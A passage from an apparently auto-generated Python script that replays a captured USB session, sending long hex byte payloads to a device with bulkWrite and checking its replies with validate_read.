b\"\\x0B\\xAB\\x49\\xDB\\x41\\x9F\\x4E\\x84\\x03\\x4E\\x75\\xB8\\x58\\xC6\\xD0\\xCB\"\n b\"\\x64\\x5C\\x06\\x4E\\x96\\xB4\\xEC\\x68\\xE4\\x67\\xE4\\xF6\\x57\\xC0\\xC4\\x35\"\n b\"\\x6C\\x2C\\xD1\\x39\\x20\\xF8\\x05\\x21\\xE9\\xAF\\xC4\\xA7\\xD6\\xF4\\xAD\\xD7\"\n b\"\\xD3\\xAE\\x94\\x1B\\x81\\x02\\x73\\x94\\x7C\\x3B\\x33\\x97\\xD4\\x6B\\x2C\\x9A\"\n b\"\\x50\\xA8\\xA5\\x73\\xAF\\x18\\xC6\\xE7\\xF3\\x60\\xA6\\xCC\\x54\\x77\\x0B\\x92\"\n b\"\\xA8\\x73\\x6F\\xEE\\x94\\xBE\\x69\\xC3\\x1A\\xF2\\x90\\xFE\\xE7\\x28\\xBB\\xEF\"\n b\"\\x6E\\xD8\\xAB\\xF8\\x6B\\xDF\\x54\\xE4\\x94\\xC7\\x11\\x0D\\x5B\\x62\\xE2\\x66\"\n b\"\\x49\\xF6\\x71\\xA1\\x28\\x2C\\xD7\\x37\\x0A\\x9E\\xFA\\x06\\x1D\\x84\\x24\\xD3\"\n b\"\\x45\\x8D\\xF7\\xC5\\xD3\\x87\\x5D\\x0E\\xBE\\xF6\\xB7\\x57\\x7E\\x1C\\x21\\x81\"\n b\"\\x11\\xCA\\x64\\x89\\x6F\\x32\\xB2\\xA8\\x16\\x03\\x54\\xAC\\x1E\\x39\\x0F\\xEF\"\n b\"\\x67\\x2C\\x4D\\xCC\\x92\\xFC\\x25\\x0E\\xF8\\xE2\\xF4\\x7C\")\n # Generated from packet 2423/2424\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2423/2424\")\n # Generated from packet 2425/2426\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x27\\x62\\x35\\xD9\\x15\\x2F\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x5E\\xBA\\x0F\\x7C\\xEE\\x75\\xAB\\xF6\"\n b\"\\x04\\x81\\x81\\x8D\\x11\\xD2\\xC1\\x76\\x8A\\xAE\\x8C\\x41\\x46\\x84\\x09\\xFF\"\n b\"\\x7C\\x69\\xD0\\x86\\xCC\\x26\\xC2\\xC0\\xC1\\x56\\x1F\\x7D\\x31\\xB9\\xAF\\xA4\"\n b\"\\x97\\xAC\\xAD\\x7C\\xF9\\xBA\\xBF\\x6A\\x3A\\x60\\x45\\x50\\x05\\x6D\\x7C\\xE5\"\n b\"\\x10\\xF4\\x74\\xE3\\x91\\xED\\xD0\\xC3\\x48\\x06\\x00\\xBD\\xFC\\xDA\\x86\\xDD\"\n b\"\\x14\\x22\\xC0\\xBB\\xDB\\x24\\xCA\\x8C\\xCD\\x25\\xA7\\xCC\\xB6\\x43\\xE5\\x9F\"\n b\"\\x4F\\x99\\x73\\x01\\x24\\x66\\x35\\x1B\\xAF\\x22\\xF7\\x7E\\xA5\\x63\\x2B\\x51\"\n b\"\\x8D\\x56\\x27\\x2E\\x22\\x3F\\xAE\\x64\\x98\\x4B\\x73\\x9E\\x4D\\xFE\\x92\\x7B\"\n b\"\\x8F\\x12\\x84\\xD0\\xF2\\xDB\\x3D\\x12\\xF5\\x28\\x1A\\xF3\\x3E\\x70\\xFF\\x9D\"\n b\"\\x82\\xCE\\x58\\x28\\xC8\\x17\\xBA\\x8A\\x1E\\x0B\\x0A\\xD9\\x3E\\x2A\\x22\\x17\"\n b\"\\xA4\\xCC\\xC6\\x54\\xFD\\x18\\xD8\\x0E\\x7A\\xE9\\xC2\\xFE\\xFC\\x37\\x77\\xA6\"\n b\"\\xF5\\x66\\x11\\xB0\\xEC\\x18\\xB6\\x39\\xCF\\xBC\\x10\\x7B\\x94\\xD4\\xA2\\xAC\"\n b\"\\x6E\\xA1\\xBF\\x1C\\xF6\\x93\\x28\\x1A\\xEF\\x9C\\x1C\\x76\\xD5\\xD1\\xEA\\x64\"\n b\"\\xF4\\x66\\xA4\\xA5\\xB1\\x62\\x4E\\xAC\\x66\\xA5\\x81\\x48\\xCE\\x78\\xF2\\xC5\"\n b\"\\x44\\xB0\\x35\\xEB\\x9A\\x1C\\x11\\xF2\\x32\\xD9\\x8D\\x2F\\xE1\\xB9\\x28\\x58\"\n b\"\\x07\\x45\\xD7\\xBF\\x8A\\x08\\xBF\\x49\\x94\\x3A\\xC7\\xFA\\x4E\\x1C\\x6C\\x4B\"\n b\"\\x4D\\x36\\x7D\\x26\\xEC\\x36\\x16\\x4B\\x00\\x3D\\xE1\\xCE\")\n # Generated from packet 2427/2428\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2427/2428\")\n # Generated from packet 2429/2430\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x3A\\x9F\\xE7\\xEF\\x42\\x42\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x19\\x0E\\xB6\\x48\\xF0\\xF7\\xC6\\x61\"\n b\"\\xE8\\x79\\xFC\\xA3\\x0D\\x64\\xF7\\x7B\\x61\\x94\\xC5\\x68\\xBC\\x1E\\x69\\x96\"\n b\"\\xA2\\x9C\\x5F\\x1B\\x70\\x92\\x83\\x76\\x05\\x91\\x6A\\xCE\\xB3\\xB2\\x76\\xFD\"\n b\"\\xF8\\x4D\\xF7\\x36\\xC3\\x62\\xA6\\xAB\\x70\\xBE\\x1B\\xDF\\xAC\\xA3\\x8A\\xB4\"\n b\"\\x67\\xCB\\xF4\\x8F\\xBC\\x7C\\x28\\x16\\x75\\xFE\\x47\\x4C\\xD6\\xA5\\x9B\\x95\"\n b\"\\xFC\\x07\\x6C\\x60\\xB3\\x3C\\x48\\x41\\x7B\\x26\\x5D\\x4D\\xE2\\xD7\\xC9\\x53\"\n b\"\\x3E\\x2B\\x95\\x34\\xA4\\xBD\\x59\\x37\\x9A\\xDE\\xB6\\xC2\\x16\\x9A\\x07\\x94\"\n b\"\\x0B\\x42\\xA7\\x24\\x76\\xAD\\x2F\\xF1\\x44\\xA9\\x15\\x5A\\x4C\\xC9\\x05\\x8A\"\n b\"\\x22\\x95\\xF6\\x45\\xEC\\x4F\\x08\\x32\\x38\\xEE\\x54\\x60\\xCB\\xAF\\x75\\xFC\"\n b\"\\x23\\xB3\\xDD\\xBD\\x5F\\x27\\xBD\\xFC\\x6C\\x18\\x81\\x48\\x24\\xD0\\xF2\\xC5\"\n b\"\\xC8\\x05\\x35\\xEB\\x6E\\x71\\x90\\xF2\\xFE\\x64\\x70\\x2F\\xE2\\x3D\\x92\\x88\"\n b\"\\xFA\\xEC\\x6E\\x0B\\x97\\xAA\\x4D\\xC6\\x1A\\x2F\\x0E\\x16\\x29\\x7D\\x5B\\x79\"\n b\"\\x5F\\x0B\\xA9\\x8C\\x00\\x8B\\x3A\\xF0\\x28\\x94\\xB5\\x80\\x83\\xAA\\x5A\\x5C\"\n b\"\\xB2\\x6B\\x39\\x4B\\x7D\\x6C\\x26\\x71\\xC0\\x6E\\x20\\xDE\\x1D\\x93\\x3E\\xCD\"\n b\"\\xA0\\x47\\xFA\\xA6\\x01\\xFC\\x24\\x4E\\xC9\\xEF\\x11\\xE9\\xEF\\x6A\\x61\\x13\"\n b\"\\x88\\x66\\x33\\x7D\\x39\\x4F\\x23\\x81\\x21\\x7A\\x01\\x0C\\x93\\x43\\xD4\\x78\"\n b\"\\x48\\xFB\\x0D\\x18\\xCC\\xC0\\x3A\\xD0\\x65\\x44\\xEE\\xB2\")\n # Generated from packet 2431/2432\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2431/2432\")\n # Generated from packet 2433/2434\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x09\\xE0\\xF6\\xC4\\x00\\x0E\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xE4\\xC6\\x65\\x1A\\xC1\\x81\\xE0\\x8F\"\n b\"\\x9D\\x54\\x27\\x2F\\x9A\\x22\\xA3\\x23\\x22\\xBE\\xE7\\xA5\\xFB\\x54\\x13\\x6E\"\n b\"\\x3D\\x05\\xA5\\x91\\x88\\x20\\x19\\x1B\\x2F\\x9C\\xC5\\xFD\\x7F\\xF9\\xD2\\x7E\"\n b\"\\xCC\\xCE\\x9B\\x9F\\x08\\x5E\\x37\\x1C\\x89\\x2C\\xD4\\x42\\x0E\\x4B\\x4C\\x2D\"\n b\"\\x29\\x16\\x16\\x70\\xE4\\x27\\x43\\x44\\x54\\x72\\x0C\\x79\\x41\\xE3\\x98\\x0F\"\n b\"\\xA0\\xAC\\x5A\\x7F\\xDF\\x62\\xB8\\x22\\x14\\xC3\\x8F\\x0C\\x56\\x53\\x20\\xFA\"\n b\"\\x0D\\xEC\\xC9\\x08\\xB9\\x65\\x75\\x29\\x97\\x2A\\x45\\x8E\\xCA\\xC9\\x22\\x0D\"\n b\"\\xDA\\x37\\x79\\x35\\x4E\\x89\\x86\\x2A\\xA7\\xD0\\xCE\\x55\\xC9\\x42\\x51\\x10\"\n b\"\\x86\\x5C\\xBE\\x2D\\xCE\\x8A\\x12\\x49\\xFD\\xBA\\xAA\\x1D\\x12\\x89\\x45\\x34\"\n b\"\\x41\\xFD\\x74\\x5A\\x6D\\xF3\\x24\\xC3\\xD8\\x53\\x18\\x4B\\x23\\x2E\\x6D\\x2B\"\n b\"\\x63\\x0B\\x93\\xC1\\x1E\\x94\\xF0\\xDD\\x57\\xFF\\x57\\x82\\xCC\\x01\\xFA\\x78\"\n b\"\\x66\\x10\\x0D\\x2F\\xF2\\x1A\\xDD\\x15\\x50\\xE6\\xCD\\x9A\\x3A\\x8D\\xD3\\x89\"\n b\"\\xEA\\x36\\xD0\\xA5\\x4D\\x54\\x16\\x43\\x28\\x3D\\xFA\\x67\\xB2\\xBF\\x51\\xEA\"\n b\"\\x7D\\x6C\\x8A\\x7A\\xC8\\x81\\x52\\x88\\x68\\x5A\\x44\\x0B\\x15\\x78\\xF8\\xE8\"\n b\"\\x62\\x78\\xE8\\x2A\\x27\\x76\\xE1\\x4B\\xBE\\x9F\\x6E\\x15\\x06\\xE8\\x5F\\x89\"\n b\"\\x90\\xB8\\x02\\x21\\x3B\\x43\\x1E\\x6C\\xCB\\x9D\\xDA\\xDE\\x5B\\x3A\\x8D\\xC2\"\n b\"\\x3C\\x0E\\x0D\\x6F\\x65\\x5D\\xE5\\xF1\\x60\\x8E\\xED\\xDF\")\n # Generated from packet 2435/2436\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2435/2436\")\n # Generated from packet 2437/2438\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xCC\\x9F\\x0E\\x0D\\x26\\x74\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xC9\\xCA\\x94\\x95\\x68\\x64\\x1C\\xE3\"\n b\"\\xB9\\x61\\x7F\\x23\\xB3\\x4A\\x95\\x31\\xE2\\x55\\x43\\xCD\\xC5\\x60\\x8E\\x2E\"\n b\"\\x3F\\x3C\\xCB\\x0E\\x6D\\xB9\\x65\\xBC\\xAA\\x2E\\x0D\\x13\\x56\\xE9\\xB0\\x85\"\n b\"\\xF7\\x5C\\xBA\\x83\\x5C\\x9D\\x1C\\x51\\xBD\\xD3\\x92\\xCF\\xEA\\x06\\xE6\\x2C\"\n b\"\\xF0\\xBC\\xB1\\xEE\\x6F\\x1B\\x16\\x2F\\xA5\\x0B\\x1E\\xB8\\x2A\\x05\\x02\\x1F\"\n b\"\\xAD\\x20\\x74\\xC3\\x76\\xC8\\x5E\\xD2\\xC3\\x1A\\x43\\x0A\\x63\\xB6\\x5E\\xED\"\n b\"\\x40\\x27\\xA5\\xC4\\x4D\\x3D\\xA6\\xF8\\x85\\x55\\xE7\\x9D\\x09\\xF3\\xE4\\x5C\"\n b\"\\x6D\\x9D\\xED\\x89\\x14\\x63\\x97\\xEF\\x17\\x42\\xB2\\x43\\x3D\\x81\\x41\\xF4\"\n b\"\\xAE\\xEF\\x00\\xB8\\xC4\\x00\\xFE\\xEC\\xA7\\x4F\\xA6\\x5D\\xAC\\x4F\\xCF\\x76\"\n b\"\\x7F\\xDB\\x0F\\x9E\\x5B\\x87\\xF2\\xD0\\xA4\\xB5\\xD9\\x84\\xA6\\x1C\\x74\\xCF\"\n b\"\\xFF\\xC5\\x06\\x10\\x97\\xB0\\x88\\xFD\\xC0\\x8B\\xB9\\x27\\x9D\\xE2\\x69\\xAB\"\n b\"\\x0B\\x65\\x46\\xA6\\xB6\\x7C\\xD7\\x7A\\xD4\\x4A\\x3C\\xBB\\x53\\x78\\x6F\\xA8\"\n b\"\\xC4\\x32\\xB8\\x5D\\xFD\\x58\\xB0\\xC3\\xCD\\x5C\\xDD\\xC5\\x3A\\xA9\\xD8\\x7C\"\n b\"\\xBF\\x76\\xB6\\xC1\\xF3\\x5E\\xE4\\x5B\\x91\\x41\\x21\\x67\\x0D\\xD1\\x07\\x23\"\n b\"\\xA5\\xB7\\x59\\x86\\x5A\\x36\\xE6\\x4C\\x10\\xF6\\x18\\xD6\\xC9\\x96\\x84\\x88\"\n b\"\\xEC\\xBC\\xFF\\x40\\x47\\x6D\\xE0\\x6F\\xEA\\x78\\x71\\x6C\\x46\\x48\\x3D\\xD0\"\n b\"\\xEC\\x25\\x08\\xEC\\x9F\\x77\\xB4\\xD8\\x9E\\x34\\xB7\\xA0\")\n # Generated from packet 2439/2440\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2439/2440\")\n # Generated from packet 2441/2442\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xC3\\x48\\xE2\\x1A\\xFE\\x19\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x54\\x49\\xD1\\xDE\\x7D\\x44\\x1B\\x88\"\n b\"\\xF2\\xD4\\xED\\x56\\x86\\x59\\x88\\xAD\\x3D\\x70\\xD9\\xF5\\x72\\x45\\xC5\\x64\"\n b\"\\x22\\x4C\\x7E\\x39\\x17\\x51\\xC8\\x5E\\x7A\\x18\\x9F\\xAD\\xA8\\x60\\x94\\x56\"\n b\"\\xEC\\xC1\\x4C\\x80\\x57\\xDF\\x29\\xD6\\x95\\xED\\xF6\\x69\\x21\\xC5\\x8C\\x0D\"\n b\"\\xF2\\xD6\\xDA\\x39\\xAE\\x36\\x0E\\x5C\\xC7\\x39\\x84\\xD4\\xB4\\x19\\x08\\xA6\"\n b\"\\xEF\\x55\\x17\\x4B\\x9F\\x50\\xC6\\x7F\\xED\\xB6\\x2E\\x29\\x33\\xF2\\xC2\\x24\"\n b\"\\xEB\\x32\\xBE\\xD7\\x2D\\xBB\\x9B\\xD8\\xC7\\x73\\x71\\x90\\xDA\\x91\\xFA\\x5D\"\n b\"\\x3C\\x19\\x1C\\x3B\\x08\\x9A\\x70\\xA3\\x6A\\x6A\\x9B\\xCA\\xE6\\x65\\x71\\xD5\"\n b\"\\x10\\x12\\x09\\x76\\x53\\x4E\\x34\\xA3\\x77\\xC3\\xBE\\x1B\\x6B\\x57\\x04\\x1F\"\n b\"\\x20\\x45\\x78\\xFE\\x44\\x2E\\x57\\x97\\x29\\x22\\xB3\\x26\\x9A\\x30\\xD9\\x45\"\n b\"\\x1D\\xCA\\x0A\\x0E\\x42\\x67\\xBD\\xA5\\xFE\\xCE\\xEF\\x96\\x8E\\xC5\\x73\\x80\"\n b\"\\xB8\\x05\\xAC\\x3D\\xB9\\x16\\x81\\xEA\\x80\\x29\\x65\\x39\\x06\\xE9\\x2D\\xD8\"\n b\"\\xB7\\x21\\x00\\xA0\\xC5\\x25\\x2E\\x05\\x03\\x25\\x3E\\xDC\\x75\\x47\\x57\\x85\"\n b\"\\x36\\x31\\xF5\\x75\\x9F\\xAF\\x18\\xFF\\xD7\\x8D\\x42\\x26\\x0B\\x84\\x33\\x5F\"\n b\"\\x82\\x39\\xE9\\x8B\\x0B\\x1A\\x5D\\x0D\\xC4\\xA1\\xB1\\xD2\\x19\\x05\\x62\\x0B\"\n b\"\\x83\\x43\\x88\\x21\\xA0\\xEE\\x02\\x4E\\x56\\x04\\x8F\\x17\\xC7\\x1C\\x13\\x04\"\n b\"\\xA0\\xD0\\xDF\\x4E\\x89\\x07\\x30\\x6A\\xBB\\x7B\\xFE\\x40\")\n # Generated from packet 2443/2444\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2443/2444\")\n # Generated from packet 2445/2446\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xF5\\x04\\xF6\\xFC\\x4C\\x42\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xB4\\x39\\xC2\\xF4\\xE5\\x15\\xC9\\x24\"\n b\"\\x7E\\x90\\x16\\xFE\\x84\\xDE\\x84\\x84\\xF8\\x4A\\x7C\\x85\\x6A\\xB3\\xFB\\x21\"\n b\"\\x5E\\x8A\\x11\\x31\\x4F\\x3F\\xC9\\x5F\\xE5\\x9C\\x80\\xEE\\x27\\x30\\x38\\xF6\"\n b\"\\x02\\x1E\\xB3\\x1E\\x00\\xCD\\x46\\x6A\\x4D\\x03\\x42\\x54\\x9C\\x4A\\x8F\\x8C\"\n b\"\\x78\\xC2\\x11\\x49\\x80\\x7E\\xA4\\x2D\\x85\\x28\\xE0\\x90\\x2D\\xC2\\x23\\x1E\"\n b\"\\xB4\\x05\\x4D\\xCF\\xAE\\x66\\x1E\\xFD\\x51\\xC3\\xD6\\x6A\\x7C\\xF5\\xEA\\xFC\"\n b\"\\x1B\\x26\\x6A\\x57\\x52\\xFF\\x65\\x73\\xC8\\xEC\\x7A\\x38\\x93\\x60\\x59\\x5D\"\n b\"\\x35\\x62\\x02\\x75\\xF0\\x8B\\xCA\\x10\\xCA\\x55\\x00\\x0A\\x5C\\x12\\xE9\\xB7\"\n b\"\\x2D\\xE4\\xD7\\x3A\\x62\\x75\\x8F\\x66\\x71\\x04\\x37\\x0A\\x7B\\x3D\\xE0\\x8C\"\n b\"\\x09\\x85\\x1C\\x47\\x37\\xA4\\xA0\\x69\\xBD\\x26\\x56\\xA6\\xD4\\x93\\x96\\x89\"\n b\"\\xF8\\xE2\\xDA\\x0D\\x4B\\xFA\\xE1\\xFC\\x93\\x2C\\x39\\x1F\\x36\\x57\\x16\\xD3\"\n b\"\\x18\\xBA\\x85\\x68\\x98\\x5A\\x2D\\x33\\xA0\\x17\\x63\\xA9\\x39\\x39\\x5F\\xD8\"\n b\"\\x00\\x20\\x67\\xFB\\xA6\\xD4\\x9E\\xC9\\xF8\\x2E\\x0D\\x4C\\x19\\x91\\x33\\x70\"\n b\"\\x1F\\x66\\xB5\\xF2\\x79\\xE7\\x34\\xAC\\x51\\x57\\x58\\x20\\x6B\\x7B\\xBD\\xFF\"\n b\"\\x2A\\xF8\\xAA\\x7F\\x45\\x97\\xC7\\xE9\\xD2\\xC3\\x7B\\xE3\\xEE\\x55\\x25\\x5B\"\n b\"\\x8E\\x20\\x06\\xC2\\xC4\\x21\\xE8\\x58\\x40\\xAD\\x85\\x4D\\xD7\\x41\\x73\\x65\"\n b\"\\xFE\\x29\\x81\\x46\\xD6\\x42\\x70\\x70\\x8C\\xA5\\xA3\\x62\")\n # Generated from packet 2447/2448\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2447/2448\")\n # Generated from packet 2449/2450\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x13\\x59\\x8D\\x96\\xD1\\x53\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xD4\\xF0\\x6D\\x87\\xD9\\xC7\\x89\\xFD\"\n b\"\\xB0\\x3B\\xB1\\xDF\\x99\\x29\\xE5\\x9A\\x3C\\x01\\x56\\xA7\\x55\\x85\\x3D\\xBF\"\n b\"\\x06\\xFC\\xB4\\x2B\\x45\\xCE\\x9E\\xC8\\x22\\x07\\xA9\\xFB\\xC8\\x72\\x99\\xFA\"\n b\"\\x58\\x8E\\xDB\\x5D\\x2B\\x0D\\x43\\x86\\x8C\\x2D\\x53\\x0F\\x5A\\x18\\x71\\x03\"\n b\"\\x19\\xFC\\x5F\\x7C\\x81\\x56\\x4D\\x34\\xBB\\x39\\x1F\\x69\\xCD\\x3E\\x89\\x06\"\n b\"\\x99\\xDF\\x3F\\xE2\\xBB\\xD0\\x4D\\x98\\x06\\x67\\x90\\x66\\x32\\x47\\xEE\\x87\"\n b\"\\x5C\\x64\\x2A\\xE1\\x14\\x7E\\x98\\x04\\x0F\\x6A\\x0A\\x41\\x04\\xA5\\x06\\x61\"\n b\"\\x0E\\x57\\xD1\\xA3\\xDC\\x8B\\x8A\\x72\\xF3\\x4E\\x41\\x2E\\x0E\\x3C\\x7D\\x32\"\n b\"\\x0E\\xF6\\x53\\xA2\\x16\\x09\\xF7\\x9F\\x53\\xAD\\x69\\xC2\\xBD\\x5F\\x26\\x5D\"\n b\"\\x43\\x7E\\x13\\x3A\\xB8\\x4C\\xFE\\x70\\x40\\x1E\\xDF\\x0E\\xC5\\x03\\xD2\\x77\"\n b\"\\x05\\xE9\\xF4\\x8F\\x09\\x66\\x11\\x8B\\x56\\x4E\\x23\\xEA\\x8C\\xFF\\xD1\\x05\"\n b\"\\x1A\\x43\\xB0\\x68\\x50\\x60\\xA4\\x49\\x68\\x0C\\x5E\\xCD\\xF8\\x35\\x0A\\x27\"\n b\"\\xE7\\xB3\\x89\\xFA\\xA5\\xE8\\x34\\x55\\xDE\\x44\\x6E\\x6F\\x44\\x50\\x1D\\xA6\"\n b\"\\x9F\\x11\\x33\\x5E\\xDA\\x66\\x8A\\xB8\\xFB\\x22\\x63\\x83\\x30\\x59\\x79\\xC3\"\n b\"\\xE6\\x1E\\x97\\xEC\\x2E\\x4E\\xC9\\x1B\\xD5\\x28\\x46\\x8D\\xFB\\x95\\x3F\\xCC\"\n b\"\\xB3\\x19\\x04\\x8D\\x05\\x79\\xF0\\x34\\xDE\\x68\\xFC\\x4C\\x0A\\xF9\\x6A\\x7D\"\n b\"\\x9E\\xA2\\xF8\\x50\\x4C\\xC8\\xF8\\xEA\\xAA\\x46\\xBD\\xF4\")\n # Generated from packet 2451/2452\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2451/2452\")\n # Generated from packet 2453/2454\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xA7\\x2C\\x33\\x4F\\x21\\x38\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x53\\xFB\\x4B\\xDF\\x51\\xB3\\x78\\x97\"\n b\"\\xC0\\x4D\\xB0\\x8B\\x9A\\x5B\\xE9\\xE2\\x5C\\x67\\x3E\\x20\\x35\\x38\\xFA\\x95\"\n b\"\\xFE\\xC6\\x0E\\x78\\xD3\\x4F\\x7E\\x48\\x79\\xE7\\x81\\x26\\x40\\xA5\\xF7\\xCE\"\n b\"\\x5C\\x28\\x8B\\x51\\x40\\x09\\xA9\\x5E\\x6D\\x1F\\x97\\xB7\\x87\\xCC\\x41\\x82\"\n b\"\\x08\\x91\\xD1\\x08\\xE6\\x46\\x88\\x7C\\x1E\\x9F\\x26\\x5D\\x46\\xFE\\x42\\x70\"\n b\"\\x41\\x24\\xAF\\x0D\\x83\\x04\\x36\\xFF\\x87\\x31\\xB5\\xDA\\xCF\\xF8\\x62\\xFE\"\n b\"\\x40\\x80\\x38\\x73\\x34\\xD5\\x83\\x50\\x6B\\xB9\\x11\\x5D\\x23\\x75\\xE7\\x88\"\n b\"\\x80\\x62\\xEF\\x3B\\xAA\\xF3\\x97\\x79\\xE9\\x9D\\xA4\\xA5\\x19\\xAB\\x68\\x07\"\n b\"\\x30\\xC6\\x14\\xD0\\xAE\\x4F\\x65\\x71\\x31\\xC5\\x6A\\x04\\x7A\\xDF\\x8A\\xB2\"\n b\"\\xBF\\x97\\x23\\x09\\x94\\x62\\x4E\\xC6\\x10\\xE0\\xF6\\x07\\xDB\\xA5\\x58\\x5E\"\n b\"\\xE8\\x29\\x45\\xCE\\x95\\x47\\x1B\\x82\\x9D\\x23\\x64\\x4E\\x3F\\x47\\x63\\x95\"\n b\"\\x40\\xDF\\x7F\\x48\\x18\\xDE\\x1B\\x47\\x4B\\x14\\x18\\x3E\\x37\\x1B\\x22\\xA5\"\n b\"\\xC1\\xF7\\xC2\\x70\\xBC\\x7F\\x28\\xEC\\xCB\\x5C\\x1D\\x20\\x41\\x6E\\x09\\xD2\"\n b\"\\x56\\xE6\\x61\\x03\\xDC\\x4F\\xB5\\x3F\\xCE\\xCE\\x12\\x4B\\x54\\x2E\\x43\\xFC\"\n b\"\\xAE\\xCD\\x17\\xD6\\x15\\x00\\x12\\x61\\xAD\\xED\\x03\\xB8\\xD5\\xE3\\x92\\x84\"\n b\"\\xF7\\x55\\xF7\\x0B\\x18\\xF5\\xF8\\x63\\xCE\\xFE\\x00\\x98\\x98\\x89\\x5D\\x9E\"\n b\"\\x32\\x86\\x3C\\x2C\\xB0\\xB6\\xFD\\x03\\xA6\\x57\\xD2\\x3F\")\n # Generated from packet 2455/2456\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2455/2456\")\n # Generated from packet 2457/2458\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x2B\\x09\\xE9\\x42\\x04\\x58\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x5E\\xB0\\xF0\\x63\\x6C\\x7F\\xB0\\x34\"\n b\"\\x67\\x4E\\x95\\xCD\\x87\\xB3\\x37\\xF9\\x23\\xB2\\x3F\\xDE\\x01\\xF0\\x2D\\x47\"\n b\"\\x8A\\x6E\\xB8\\x42\\x3E\\xD0\\x58\\x69\\xD6\\xC9\\xAA\\xDD\\xA8\\xD7\\xA0\\x88\"\n b\"\\xA3\\xE1\\x08\\xA6\\xAC\\xE0\\x26\\x6D\\xB2\\xDE\\xC7\\x6B\\x72\\x3A\\x96\\xB3\"\n b\"\\x27\\xEE\\x1D\\x39\\x90\\x51\\xF3\\x1F\\x76\\x69\\x6F\\xE6\\x10\\x7F\\xA7\\xAA\"\n b\"\\x6D\\x1F\\xCF\\x2A\\x4F\\xAA\\xF9\\xA3\\x2E\\xFD\\x97\\xE3\\x7C\\xAD\\xCE\\x94\"\n b\"\\xF2\\x8D\\x39\\x26\\xFD\\xB0\\xAE\\xAF\\xAD\\xFC\\x5C\\x57\\xDC\\x06\\xCB\\x12\"\n b\"\\x53\\x82\\xEA\\xF7\\x18\\x93\\xFB\\xC5\\xA2\\x24\\xCC\\xA9\\x60\\x9B\\x44\\xCA\"\n b\"\\xEA\\x14\\xF5\\xB3\\xE5\\x2E\\xD2\\xB7\\xFA\\x1C\\x97\\x69\\x40\\x04\\xF5\\xB9\"\n b\"\\x83\\x0D\\xE2\\x0A\\x0E\\x08\\x18\\x47\\x32\\x6E\\x33\\x42\\x6A\\xE6\\x8A\\x73\"\n b\"\\x5D\\x4A\\x22\\x9B\\xD6\\xF5\\xF5\\x48\\xC2\\x8F\\xCD\\xAC\\xCC\\x65\\x49\\xD3\"\n b\"\\xEF\\xA9\\x38\\xD4\\x03\\xBB\\x73\\x6E\\x91\\xF8\\x76\\xFD\\xE9\\xC4\\x6A\\x24\"\n b\"\\xFC\\x93\\x0E\\xE2\\xD9\\xD8\\x30\\xBD\\x7E\\xE6\\xAA\\x7F\\x9A\\xC9\\xD3\\xAA\"\n b\"\\x42\\x48\\xE1\\x7B\\x9E\\x51\\x4C\\xDD\\x22\\x87\\x46\\x2A\\x42\\x2C\\x2B\\x0B\"\n b\"\\x96\\x5D\\x9F\\x30\\xDA\\xB3\\x7C\\x2B\\xD3\\x09\\x29\\x8C\\x9C\\x3B\\x8C\\x93\"\n b\"\\xAF\\x1D\\x03\\x88\\x25\\x89\\x54\\xB5\\x24\\x28\\x87\\x98\\xAF\\xA7\\x02\\xA8\"\n b\"\\x40\\xFD\\x14\\x5B\\x4B\\x66\\xE6\\xDA\\x58\\x66\\x5E\\x15\")\n # Generated from packet 2459/2460\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2459/2460\")\n # Generated from packet 2461/2462\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xC2\\x92\\xF3\\x00\\x93\\x0B\\x00\\x00\"\n 